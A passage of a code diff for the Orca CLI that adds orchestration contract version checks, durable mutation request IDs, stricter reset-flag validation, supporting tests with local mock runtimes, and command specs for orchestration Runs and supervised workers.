} else {
|
||||
process.env.ORCA_DEV_CLI_INVOCATION = originalDevCliInvocation
|
||||
}
|
||||
if (originalPairingCode === undefined) {
|
||||
delete process.env.ORCA_PAIRING_CODE
|
||||
} else {
|
||||
@@ -3489,17 +3519,11 @@ describe('orca cli worktree awareness', () => {
|
||||
expect(logSpy).toHaveBeenCalledWith('Sent 2 messages to 2 recipients')
|
||||
})
|
||||
|
||||
it('passes all reset scope explicitly for no-flag orchestration reset', async () => {
|
||||
callMock.mockResolvedValueOnce(okFixture('req_reset', { reset: 'all' }))
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
|
||||
it('rejects no-flag orchestration reset before calling the runtime', async () => {
|
||||
await main(['orchestration', 'reset'], '/tmp/repo')
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', {
|
||||
all: true,
|
||||
tasks: undefined,
|
||||
messages: undefined
|
||||
})
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
expect(process.exitCode).toBe(1)
|
||||
})
|
||||
|
||||
it.each([
|
||||
@@ -3517,16 +3541,6 @@ describe('orca cli worktree awareness', () => {
|
||||
args: ['orchestration', 'reset', '--messages'],
|
||||
params: { all: undefined, tasks: undefined, messages: true },
|
||||
reset: 'messages'
|
||||
},
|
||||
{
|
||||
args: ['orchestration', 'reset', '--tasks', '--messages'],
|
||||
params: { all: undefined, tasks: true, messages: true },
|
||||
reset: 'tasks'
|
||||
},
|
||||
{
|
||||
args: ['orchestration', 'reset', '--all', '--tasks'],
|
||||
params: { all: true, tasks: true, messages: undefined },
|
||||
reset: 'all'
|
||||
}
|
||||
])('passes explicit reset flags through for $args', async ({ args, params, reset }) => {
|
||||
callMock.mockResolvedValueOnce(okFixture('req_reset', { reset }))
|
||||
@@ -3537,6 +3551,16 @@ describe('orca cli worktree awareness', () => {
|
||||
expect(callMock).toHaveBeenCalledWith('orchestration.reset', params)
|
||||
})
|
||||
|
||||
it.each([
|
||||
['orchestration', 'reset', '--tasks', '--messages'],
|
||||
['orchestration', 'reset', '--all', '--tasks']
|
||||
])('rejects conflicting reset scopes for $args', async (...args) => {
|
||||
await main(args, '/tmp/repo')
|
||||
|
||||
expect(callMock).not.toHaveBeenCalled()
|
||||
expect(process.exitCode).toBe(1)
|
||||
})
|
||||
|
||||
it('rejects unknown task-update status with an enum-aware error', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_coord'
|
||||
const logSpy = vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
@@ -3629,6 +3653,33 @@ describe('orca cli worktree awareness', () => {
|
||||
})
|
||||
})
|
||||
|
||||
it('passes dev mode from an explicit dev CLI marker with a custom profile path', async () => {
|
||||
process.env.ORCA_TERMINAL_HANDLE = 'term_sender'
|
||||
process.env.ORCA_USER_DATA_PATH = '/tmp/federation-acceptance-profile'
|
||||
process.env.ORCA_DEV_CLI_INVOCATION = '1'
|
||||
callMock.mockResolvedValueOnce({
|
||||
id: 'req_dispatch',
|
||||
ok: true,
|
||||
result: {
|
||||
dispatch: { id: 'ctx_1', task_id: 'task_1', status: 'dispatched' }
|
||||
},
|
||||
_meta: {
|
||||
runtimeId: 'runtime-1'
|
||||
}
|
||||
})
|
||||
vi.spyOn(console, 'log').mockImplementation(() => {})
|
||||
|
||||
await main(
|
||||
['orchestration', 'dispatch', '--task', 'task_1', '--to', 'term_worker', '--inject'],
|
||||
'/tmp/repo'
|
||||
)
|
||||
|
||||
expect(callMock).toHaveBeenCalledWith(
|
||||
'orchestration.dispatch',
|
||||
expect.objectContaining({ devMode: true })
|
||||
)
|
||||
})
|
||||
|
||||
it('uses the resolved enclosing worktree for terminal consumers', async () => {
|
||||
queueFixtures(
|
||||
callMock,
|
||||
|
||||
@@ -3,6 +3,7 @@ import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { createServer, type Socket } from 'node:net'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY } from '../shared/protocol-version'
|
||||
import { RuntimeClient, RuntimeRpcFailureError } from './runtime-client'
|
||||
import { launchOrcaApp } from './runtime/launch'
|
||||
|
||||
@@ -74,6 +75,87 @@ function findUnusedPid(seed = 200_000): number {
|
||||
// Windows does not support Unix domain sockets in the same way, causing
|
||||
// EACCES errors on listen(), so the suite is skipped on that platform.
|
||||
describe.skipIf(process.platform === 'win32')('RuntimeClient', () => {
|
||||
it('adds an opaque durable request ID only to orchestration mutations', async () => {
|
||||
const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-client-'))
|
||||
const endpoint = join(userDataPath, 'runtime.sock')
|
||||
const requests: Record<string, unknown>[] = []
|
||||
const server = createServer((socket) => {
|
||||
sockets.add(socket)
|
||||
socket.once('close', () => sockets.delete(socket))
|
||||
socket.once('data', (data) => {
|
||||
const request = JSON.parse(String(data).trim()) as Record<string, unknown>
|
||||
requests.push(request)
|
||||
const result =
|
||||
request.method === 'status.get'
|
||||
? { capabilities: [ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY] }
|
||||
: {}
|
||||
socket.write(
|
||||
`${JSON.stringify({
|
||||
id: request.id,
|
||||
ok: true,
|
||||
result,
|
||||
_meta: { runtimeId: 'runtime-1' }
|
||||
})}\n`
|
||||
)
|
||||
})
|
||||
})
|
||||
servers.add(server)
|
||||
await new Promise<void>((resolve) => server.listen(endpoint, resolve))
|
||||
writeMetadata(userDataPath, endpoint)
|
||||
|
||||
const client = new RuntimeClient(userDataPath, 500)
|
||||
await client.call(
|
||||
'orchestration.send',
|
||||
{ subject: 'hello' },
|
||||
{
|
||||
orchestrationRequestId: 'mutation_explicit'
|
||||
}
|
||||
)
|
||||
await client.call('orchestration.taskList', {})
|
||||
|
||||
expect(requests[0]?.method).toBe('status.get')
|
||||
expect(requests[1]?.orchestrationRequestId).toBe('mutation_explicit')
|
||||
expect(requests[1]?.orchestrationContractVersion).toBe(1)
|
||||
expect(requests[2]?.orchestrationRequestId).toBeUndefined()
|
||||
})
|
||||
|
||||
it('rejects an old local runtime before sending an orchestration mutation', async () => {
|
||||
const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-client-'))
|
||||
const endpoint = join(userDataPath, 'runtime.sock')
|
||||
const requests: Record<string, unknown>[] = []
|
||||
const server = createServer((socket) => {
|
||||
sockets.add(socket)
|
||||
socket.once('close', () => sockets.delete(socket))
|
||||
socket.once('data', (data) => {
|
||||
const request = JSON.parse(String(data).trim()) as Record<string, unknown>
|
||||
requests.push(request)
|
||||
socket.write(
|
||||
`${JSON.stringify({
|
||||
id: request.id,
|
||||
ok: true,
|
||||
result: { capabilities: [] },
|
||||
_meta: { runtimeId: 'runtime-1' }
|
||||
})}\n`
|
||||
)
|
||||
})
|
||||
})
|
||||
servers.add(server)
|
||||
await new Promise<void>((resolve) => server.listen(endpoint, resolve))
|
||||
writeMetadata(userDataPath, endpoint)
|
||||
|
||||
const client = new RuntimeClient(userDataPath, 500)
|
||||
await expect(client.call('orchestration.send', { subject: 'hello' })).rejects.toMatchObject({
|
||||
code: 'orchestration_migration_required',
|
||||
data: {
|
||||
reason: 'runtime_capability_missing',
|
||||
effectsApplied: false,
|
||||
nextCommandArgs: ['skills', 'get', 'orchestration', '--full']
|
||||
}
|
||||
})
|
||||
expect(requests).toHaveLength(1)
|
||||
expect(requests[0]?.method).toBe('status.get')
|
||||
})
|
||||
|
||||
it('returns the full RPC envelope for successful calls', async () => {
|
||||
const userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-client-'))
|
||||
const endpoint = join(userDataPath, 'runtime.sock')
|
||||
|
||||
+78
-10
@@ -1,4 +1,10 @@
|
||||
import { randomUUID } from 'node:crypto'
|
||||
import type { CliStatusResult, RuntimeStatus } from '../../shared/runtime-types'
|
||||
import type { RuntimeOrchestrationEnvelope } from '../../shared/runtime-rpc-envelope'
|
||||
import {
|
||||
isOrchestrationMutation,
|
||||
orchestrationMigrationData
|
||||
} from '../../shared/orchestration-rpc-contract'
|
||||
import { parsePairingCode, type PairingOffer } from '../../shared/pairing'
|
||||
import { launchOrcaApp } from './launch'
|
||||
import { getDefaultUserDataPath, readMetadata } from './metadata'
|
||||
@@ -10,6 +16,8 @@ import { markEnvironmentUsed, resolveEnvironmentPairingOffer } from './environme
|
||||
import { describeRuntimeCompatBlock, evaluateRuntimeCompat } from '../../shared/protocol-compat'
|
||||
import {
|
||||
MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
|
||||
ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY,
|
||||
ORCHESTRATION_CONTRACT_VERSION,
|
||||
RUNTIME_PROTOCOL_VERSION
|
||||
} from '../../shared/protocol-version'
|
||||
|
||||
@@ -27,6 +35,7 @@ export class RuntimeClient {
|
||||
private readonly remotePairing: PairingOffer | null
|
||||
private readonly environmentSelector: string | null
|
||||
private remoteCompatChecked = false
|
||||
private orchestrationContractCheck: Promise<void> | null = null
|
||||
|
||||
// Why: browser commands trigger first-time session init (agent-browser connect +
|
||||
// CDP proxy setup) which can take 15-30s. 60s accommodates cold start without
|
||||
@@ -50,21 +59,39 @@ export class RuntimeClient {
|
||||
async call<TResult>(
|
||||
method: string,
|
||||
params?: unknown,
|
||||
options?: {
|
||||
timeoutMs?: number
|
||||
}
|
||||
options?: { timeoutMs?: number } & RuntimeOrchestrationEnvelope
|
||||
): Promise<RuntimeRpcSuccess<TResult>> {
|
||||
const effectiveTimeoutMs = options?.timeoutMs ?? this.resolveMethodTimeoutMs(method, params)
|
||||
const orchestrationMutation = isOrchestrationMutation(method, params)
|
||||
if (orchestrationMutation) {
|
||||
await this.ensureOrchestrationContractCompatible(effectiveTimeoutMs)
|
||||
}
|
||||
const orchestrationRequestId = orchestrationMutation
|
||||
? (options?.orchestrationRequestId ?? randomUUID())
|
||||
: undefined
|
||||
const envelope = {
|
||||
orchestrationCapability: options?.orchestrationCapability,
|
||||
orchestrationContractVersion: method.startsWith('orchestration.')
|
||||
? ORCHESTRATION_CONTRACT_VERSION
|
||||
: undefined,
|
||||
orchestrationRequestId
|
||||
}
|
||||
if (this.remotePairing) {
|
||||
if (method !== 'status.get') {
|
||||
await this.ensureRemoteRuntimeCompatible(effectiveTimeoutMs)
|
||||
}
|
||||
const response = await sendWebSocketRequest<TResult>(
|
||||
this.remotePairing,
|
||||
method,
|
||||
params,
|
||||
effectiveTimeoutMs
|
||||
)
|
||||
let response
|
||||
try {
|
||||
response = await sendWebSocketRequest<TResult>(
|
||||
this.remotePairing,
|
||||
method,
|
||||
params,
|
||||
effectiveTimeoutMs,
|
||||
envelope
|
||||
)
|
||||
} catch (error) {
|
||||
throw attachMutationRecovery(error, orchestrationRequestId)
|
||||
}
|
||||
if (response.ok === false) {
|
||||
throw new RuntimeRpcFailureError(response)
|
||||
}
|
||||
@@ -76,7 +103,12 @@ export class RuntimeClient {
|
||||
return response
|
||||
}
|
||||
const metadata = readMetadata(this.userDataPath)
|
||||
const response = await sendRequest<TResult>(metadata, method, params, effectiveTimeoutMs)
|
||||
let response
|
||||
try {
|
||||
response = await sendRequest<TResult>(metadata, method, params, effectiveTimeoutMs, envelope)
|
||||
} catch (error) {
|
||||
throw attachMutationRecovery(error, orchestrationRequestId)
|
||||
}
|
||||
if (response.ok === false) {
|
||||
throw new RuntimeRpcFailureError(response)
|
||||
}
|
||||
@@ -165,6 +197,28 @@ export class RuntimeClient {
|
||||
}
|
||||
}
|
||||
|
||||
private async ensureOrchestrationContractCompatible(timeoutMs: number): Promise<void> {
|
||||
if (!this.orchestrationContractCheck) {
|
||||
this.orchestrationContractCheck = this.checkOrchestrationContractCompatibility(timeoutMs)
|
||||
}
|
||||
await this.orchestrationContractCheck
|
||||
}
|
||||
|
||||
private async checkOrchestrationContractCompatibility(timeoutMs: number): Promise<void> {
|
||||
const response = await this.call<RuntimeStatus>('status.get', undefined, { timeoutMs })
|
||||
if (this.remotePairing) {
|
||||
this.assertRemoteRuntimeStatusCompatible(response.result)
|
||||
this.remoteCompatChecked = true
|
||||
}
|
||||
if (!response.result.capabilities?.includes(ORCHESTRATION_CONTRACT_RUNTIME_CAPABILITY)) {
|
||||
throw new RuntimeClientError(
|
||||
'orchestration_migration_required',
|
||||
'The connected Orca runtime does not support the current orchestration contract. No effects were applied.',
|
||||
orchestrationMigrationData('runtime_capability_missing')
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
private assertRemoteRuntimeStatusCompatible(status: RuntimeStatus): void {
|
||||
const verdict = evaluateRuntimeCompat({
|
||||
clientProtocolVersion: RUNTIME_PROTOCOL_VERSION,
|
||||
@@ -213,6 +267,20 @@ export class RuntimeClient {
|
||||
}
|
||||
}
|
||||
|
||||
function attachMutationRecovery(error: unknown, requestId: string | undefined): unknown {
|
||||
if (!requestId || !(error instanceof RuntimeClientError)) {
|
||||
return error
|
||||
}
|
||||
return new RuntimeClientError(
|
||||
error.code,
|
||||
`${error.message} Orchestration mutation request ID: ${requestId}.`,
|
||||
{
|
||||
...(error.data && typeof error.data === 'object' ? error.data : {}),
|
||||
orchestrationRequestId: requestId
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
function throwDesktopActivationBlocked(): never {
|
||||
throw new RuntimeClientError(
|
||||
'desktop_activation_blocked',
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { createConnection } from 'node:net'
|
||||
import { randomUUID } from 'node:crypto'
|
||||
import { findTransport, type RuntimeMetadata } from '../../shared/runtime-bootstrap'
|
||||
import type { RuntimeOrchestrationEnvelope } from '../../shared/runtime-rpc-envelope'
|
||||
import { isKeepaliveFrame, RuntimeRpcEnvelopeSchema } from './envelope-schema'
|
||||
import { RuntimeClientError, type RuntimeRpcResponse } from './types'
|
||||
import { MAX_TIMER_DELAY_MS, isSafeTimerDelayMs } from '../../shared/timer-delay'
|
||||
@@ -9,7 +10,8 @@ export async function sendRequest<TResult>(
|
||||
metadata: RuntimeMetadata,
|
||||
method: string,
|
||||
params: unknown,
|
||||
timeoutMs: number
|
||||
timeoutMs: number,
|
||||
envelope?: RuntimeOrchestrationEnvelope
|
||||
): Promise<RuntimeRpcResponse<TResult>> {
|
||||
if (!isSafeTimerDelayMs(timeoutMs)) {
|
||||
throw new RuntimeClientError(
|
||||
@@ -183,7 +185,10 @@ export async function sendRequest<TResult>(
|
||||
id: requestId,
|
||||
authToken: metadata.authToken,
|
||||
method,
|
||||
params
|
||||
params,
|
||||
orchestrationCapability: envelope?.orchestrationCapability,
|
||||
orchestrationContractVersion: envelope?.orchestrationContractVersion,
|
||||
orchestrationRequestId: envelope?.orchestrationRequestId
|
||||
})}\n`
|
||||
)
|
||||
})
|
||||
|
||||
@@ -18,7 +18,8 @@ import { addEnvironmentFromPairingCode } from './environments'
|
||||
import { RuntimeClientError } from './types'
|
||||
import {
|
||||
MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION,
|
||||
RUNTIME_PROTOCOL_VERSION
|
||||
RUNTIME_PROTOCOL_VERSION,
|
||||
SESSION_TAB_CLOSE_INTENT_RUNTIME_CAPABILITY
|
||||
} from '../../shared/protocol-version'
|
||||
|
||||
vi.mock('./launch', () => ({
|
||||
@@ -29,6 +30,7 @@ type TestRuntime = {
|
||||
endpoint: string
|
||||
publicKeyB64: string
|
||||
deviceToken: string
|
||||
authFrames: Record<string, unknown>[]
|
||||
close: () => Promise<void>
|
||||
}
|
||||
|
||||
@@ -55,6 +57,11 @@ describe('CLI remote WebSocket transport', () => {
|
||||
|
||||
expect(response.ok).toBe(true)
|
||||
expect(response.result.runtimeId).toBe('runtime-ws-1')
|
||||
expect(runtime.authFrames).toContainEqual(
|
||||
expect.objectContaining({
|
||||
clientCapabilities: [SESSION_TAB_CLOSE_INTENT_RUNTIME_CAPABILITY]
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects malformed remote pairing codes before local runtime lookup', () => {
|
||||
@@ -162,6 +169,29 @@ describe('CLI remote WebSocket transport', () => {
|
||||
message: expect.stringContaining('server is too old')
|
||||
})
|
||||
})
|
||||
|
||||
it('blocks orchestration mutations when a remote runtime lacks the contract capability', async () => {
|
||||
const runtime = await startTestRuntime('runtime-old-orchestration', { capabilities: [] })
|
||||
servers.push(runtime)
|
||||
const client = new RuntimeClient(
|
||||
'/tmp/unused',
|
||||
5_000,
|
||||
encodePairingOffer({
|
||||
v: 2,
|
||||
endpoint: runtime.endpoint,
|
||||
deviceToken: runtime.deviceToken,
|
||||
publicKeyB64: runtime.publicKeyB64
|
||||
})
|
||||
)
|
||||
|
||||
await expect(client.call('orchestration.send', { subject: 'hello' })).rejects.toMatchObject({
|
||||
code: 'orchestration_migration_required',
|
||||
data: {
|
||||
reason: 'runtime_capability_missing',
|
||||
effectsApplied: false
|
||||
}
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
async function startTestRuntime(
|
||||
@@ -183,6 +213,7 @@ async function startTestRuntime(
|
||||
const deviceToken = `token-${runtimeId}`
|
||||
const httpServer = createServer()
|
||||
const wss = new WebSocketServer({ server: httpServer })
|
||||
const authFrames: Record<string, unknown>[] = []
|
||||
|
||||
wss.on('connection', (ws) => {
|
||||
let sharedKey: Uint8Array | null = null
|
||||
@@ -191,7 +222,10 @@ async function startTestRuntime(
|
||||
ws.on('message', (data) => {
|
||||
const frame = data.toString()
|
||||
if (!sharedKey) {
|
||||
const hello = JSON.parse(frame) as { type?: string; publicKeyB64?: string }
|
||||
const hello = JSON.parse(frame) as Record<string, unknown> & {
|
||||
type?: string
|
||||
publicKeyB64?: string
|
||||
}
|
||||
const clientPublicKey = Buffer.from(hello.publicKeyB64 ?? '', 'base64')
|
||||
sharedKey = deriveSharedKey(serverKeyPair.secretKey, clientPublicKey)
|
||||
ws.send(JSON.stringify({ type: 'e2ee_ready' }))
|
||||
@@ -204,7 +238,11 @@ async function startTestRuntime(
|
||||
return
|
||||
}
|
||||
if (!authenticated) {
|
||||
const auth = JSON.parse(plaintext) as { type?: string; deviceToken?: string }
|
||||
const auth = JSON.parse(plaintext) as Record<string, unknown> & {
|
||||
type?: string
|
||||
deviceToken?: string
|
||||
}
|
||||
authFrames.push(auth)
|
||||
if (auth.type !== 'e2ee_auth' || auth.deviceToken !== deviceToken) {
|
||||
ws.send(encrypt(JSON.stringify({ type: 'e2ee_error' }), sharedKey))
|
||||
ws.close(4001, 'auth failed')
|
||||
@@ -260,6 +298,7 @@ async function startTestRuntime(
|
||||
endpoint: `ws://127.0.0.1:${address.port}`,
|
||||
publicKeyB64: publicKeyToBase64(serverKeyPair.publicKey),
|
||||
deviceToken,
|
||||
authFrames,
|
||||
close: async () => {
|
||||
await new Promise<void>((resolve) => {
|
||||
wss.close(() => resolve())
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { PairingOffer } from '../../shared/pairing'
|
||||
import type { RuntimeOrchestrationEnvelope } from '../../shared/runtime-rpc-envelope'
|
||||
import {
|
||||
RemoteRuntimeClientError,
|
||||
sendRemoteRuntimeRequest
|
||||
@@ -9,10 +10,11 @@ export async function sendWebSocketRequest<TResult>(
|
||||
pairing: PairingOffer,
|
||||
method: string,
|
||||
params: unknown,
|
||||
timeoutMs: number
|
||||
timeoutMs: number,
|
||||
envelope?: RuntimeOrchestrationEnvelope
|
||||
): Promise<RuntimeRpcResponse<TResult>> {
|
||||
try {
|
||||
return await sendRemoteRuntimeRequest<TResult>(pairing, method, params, timeoutMs)
|
||||
return await sendRemoteRuntimeRequest<TResult>(pairing, method, params, timeoutMs, envelope)
|
||||
} catch (error) {
|
||||
if (error instanceof RemoteRuntimeClientError) {
|
||||
throw new RuntimeClientError(error.code, error.message)
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
import { GLOBAL_FLAGS, type CommandSpec } from '../args'
|
||||
|
||||
export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [
|
||||
{
|
||||
path: ['orchestration', 'worker-start'],
|
||||
summary: 'Start one supervised worker on the Run home or a connected Orca server',
|
||||
usage:
|
||||
'orca orchestration worker-start --task <task_id> [--on <saved-environment>] [--worktree <current|selector|new-child|new-top-level>] (--agent <agent> | --terminal <handle>) [--name <name>] [--repo <selector>] [--base-branch <ref>] [--display-name <text>] [--comment <text>] [--setup <run|skip|inherit>] [--retry-of <dispatch_id>] [--timeout-ms <n>] [--run <run_id>] [--from <handle>] [--retry-request <id>] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'task',
|
||||
'on',
|
||||
'worktree',
|
||||
'name',
|
||||
'repo',
|
||||
'base-branch',
|
||||
'display-name',
|
||||
'comment',
|
||||
'setup',
|
||||
'agent',
|
||||
'terminal',
|
||||
'retry-of',
|
||||
'timeout-ms',
|
||||
'run',
|
||||
'from',
|
||||
'retry-request'
|
||||
],
|
||||
notes: [
|
||||
'Current and existing worktrees never rerun setup; a fresh agent terminal is created unless --terminal is explicit.',
|
||||
'New worktrees use agent-first creation and default --setup to run. Repository start-immediately runs setup beside the agent; wait-for-setup gates agent readiness and task input.',
|
||||
'Creation flags (--name, --repo, --base-branch, --display-name, --comment, --setup) are rejected for current/existing worktrees. Use exact --repo on the selected server; project/host convenience routing remains on worktree create.',
|
||||
'--on selects only the worker server; the Run and this command remain on the current Orca server.',
|
||||
'Remote current and new-child are invalid; discover an exact remote selector or use new-top-level.',
|
||||
'--retry-of links the replacement attempt but does not inherit placement; repeat the intended --on/worktree and --agent/terminal choices.',
|
||||
'The call exits 0 only for ready. Failed or outcome_unknown exits 1 and JSON includes stage/failedStage, setup, effects, residualResources, and recovery commands when needed.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'worker-show'],
|
||||
summary: 'Inspect one supervised worker Dispatch',
|
||||
usage: 'orca orchestration worker-show --dispatch <dispatch_id> [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'dispatch']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'worker-read'],
|
||||
summary: 'Read bounded output from one supervised worker',
|
||||
usage:
|
||||
'orca orchestration worker-read --dispatch <dispatch_id> [--source <auto|transcript|terminal>] [--cursor <cursor>] [--limit <n>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'source', 'cursor', 'limit'],
|
||||
notes: [
|
||||
'The default auto source uses an exact hook-reported transcript when available and otherwise returns labeled terminal output.',
|
||||
'A returned cursor is pinned to the exact source; start a fresh read if Orca reports source_changed.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'worker-stop'],
|
||||
summary: 'Fence and stop only one supervised agent terminal',
|
||||
usage:
|
||||
'orca orchestration worker-stop --dispatch <dispatch_id> [--retry-request <id>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'],
|
||||
notes: ['Never deletes the worktree, setup terminal, configured tabs, or unrelated processes.']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'worker-abandon'],
|
||||
summary: 'Fence a worker without claiming its process stopped',
|
||||
usage:
|
||||
'orca orchestration worker-abandon --dispatch <dispatch_id> [--retry-request <id>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'],
|
||||
notes: ['Retains all possibly-live resources and performs no process or filesystem action.']
|
||||
}
|
||||
]
|
||||
+126
-31
@@ -1,15 +1,51 @@
|
||||
import type { CommandSpec } from '../args'
|
||||
import { GLOBAL_FLAGS } from '../args'
|
||||
import { ORCHESTRATION_WORKER_COMMAND_SPECS } from './orchestration-worker-specs'
|
||||
|
||||
export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
{
|
||||
path: ['orchestration', 'run-create'],
|
||||
summary: 'Create and bind a lightweight orchestration Run',
|
||||
usage: 'orca orchestration run-create --objective <text> [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'objective', 'from', 'retry-request'],
|
||||
notes: [
|
||||
'A Run is a namespace and home inbox. It never schedules or places workers.',
|
||||
'--retry-request is only for exact recovery after an unknown mutation result.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run-use'],
|
||||
summary: 'Bind this coordinator terminal to an existing Run',
|
||||
usage: 'orca orchestration run-use --id <run_id> [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'from', 'retry-request']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run-current'],
|
||||
summary: 'Show the Run bound to this coordinator terminal',
|
||||
usage: 'orca orchestration run-current [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'from']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run-list'],
|
||||
summary: 'List lightweight orchestration Runs',
|
||||
usage: 'orca orchestration run-list [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'run-show'],
|
||||
summary: 'Show one lightweight orchestration Run',
|
||||
usage: 'orca orchestration run-show --id <run_id> [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'send'],
|
||||
summary: 'Send an inter-agent message',
|
||||
usage:
|
||||
'orca orchestration send --to <handle> --subject <text> [--from <handle>] [--body <text>] [--type <type>] [--priority <level>] [--thread-id <id>] [--payload <json>] [--task-id <id>] [--dispatch-id <id>] [--files-modified <csv>] [--report-path <path>] [--phase <text>] [--json]',
|
||||
'orca orchestration send --subject <text> [--to <run:id|dispatch:id|legacy_handle>] [--run <run_id>] [--from <handle>] [--body <text>] [--type <type>] [--priority <level>] [--thread-id <id>] [--payload <json>] [--task-id <id>] [--dispatch-id <id>] [--outcome <succeeded|failed>] [--files-modified <csv>] [--report-path <path>] [--phase <text>] [--json]',
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'to',
|
||||
'run',
|
||||
'from',
|
||||
'subject',
|
||||
'body',
|
||||
@@ -19,13 +55,19 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
'payload',
|
||||
'task-id',
|
||||
'dispatch-id',
|
||||
'dispatch-capability',
|
||||
'retry-request',
|
||||
'outcome',
|
||||
'files-modified',
|
||||
'report-path',
|
||||
'phase'
|
||||
],
|
||||
notes: [
|
||||
'On Windows PowerShell, quote group addresses such as --to "@all" or --to "@worktree:<id>".',
|
||||
'worker_done and heartbeat must target a concrete coordinator terminal handle; use status for broadcast updates.',
|
||||
"worker_done and heartbeat are exact-Dispatch signals and cannot target groups; omit --to to use the Dispatch's Run mailbox.",
|
||||
'worker_done requires --outcome succeeded or --outcome failed.',
|
||||
'From an active Dispatch, an omitted recipient defaults to its owning Run mailbox.',
|
||||
'Use --to dispatch:<id> for attempt-specific coordinator guidance; Orca durably relays it to a connected worker server.',
|
||||
'A worker_done with the active task/dispatch IDs completes that task only from the dispatched pane. When stable pane identity is unavailable, the sender handle must exactly match the dispatch assignee; injected preambles include the correct --from value.',
|
||||
'Prefer --task-id/--dispatch-id/etc. over raw --payload JSON in worker commands; PowerShell strips JSON quotes easily.'
|
||||
]
|
||||
@@ -34,8 +76,9 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
path: ['orchestration', 'check'],
|
||||
summary: 'Check messages for a terminal',
|
||||
usage:
|
||||
'orca orchestration check [--terminal <handle>] [--unread | --peek | --all] [--types <type,...>] [--inject] [--wait] [--timeout-ms <n>] [--json]\n' +
|
||||
' --unread (default): return only unread messages and mark them read.\n' +
|
||||
'orca orchestration check [--terminal <handle>] [--run <run_id>] [--ack <delivery_id>] [--unread | --peek | --all] [--types <type,...>] [--format] [--wait] [--timeout-ms <n>] [--json]\n' +
|
||||
" default: return the bound Run's oldest unacknowledged FIFO batch.\n" +
|
||||
' --ack: acknowledge the prior whole batch before checking/waiting.\n' +
|
||||
' --peek: return only unread messages without marking them read.\n' +
|
||||
' --all: return every message for the handle; does not mark read.\n' +
|
||||
' --wait: block until a matching message arrives or --timeout-ms expires.\n' +
|
||||
@@ -46,23 +89,29 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
allowedFlags: [
|
||||
...GLOBAL_FLAGS,
|
||||
'terminal',
|
||||
'run',
|
||||
'ack',
|
||||
'unread',
|
||||
'peek',
|
||||
'all',
|
||||
'types',
|
||||
'inject',
|
||||
'format',
|
||||
'wait',
|
||||
'timeout-ms'
|
||||
'timeout-ms',
|
||||
'retry-request'
|
||||
],
|
||||
notes: [
|
||||
'On Windows PowerShell, quote comma-separated type filters, e.g. --types "worker_done,escalation".'
|
||||
'On Windows PowerShell, quote comma-separated type filters, e.g. --types "worker_done,escalation".',
|
||||
'--format renders the returned rows as local text only; it never writes to another terminal.',
|
||||
'A bound Run replays the same Delivery until --ack; process every message before acknowledging.'
|
||||
]
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'reply'],
|
||||
summary: 'Reply to a message',
|
||||
usage: 'orca orchestration reply --id <msg_id> --body <text> [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'body', 'from']
|
||||
usage:
|
||||
'orca orchestration reply --id <msg_id> --body <text> [--run <run_id>] [--from <handle>] [--json]',
|
||||
allowedFlags: [...GLOBAL_FLAGS, 'id', 'body', 'run', 'from', 'retry-request']
|
||||
},
|
||||
{
|
||||
path: ['orchestration', 'inbox'],
|
||||
@@ -74,30 +123,52 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [
|
||||
path: ['orchestration', 'task-create'],
|
||||
summary: 'Create an orchestration task',
|
||||
usage:
|
||||
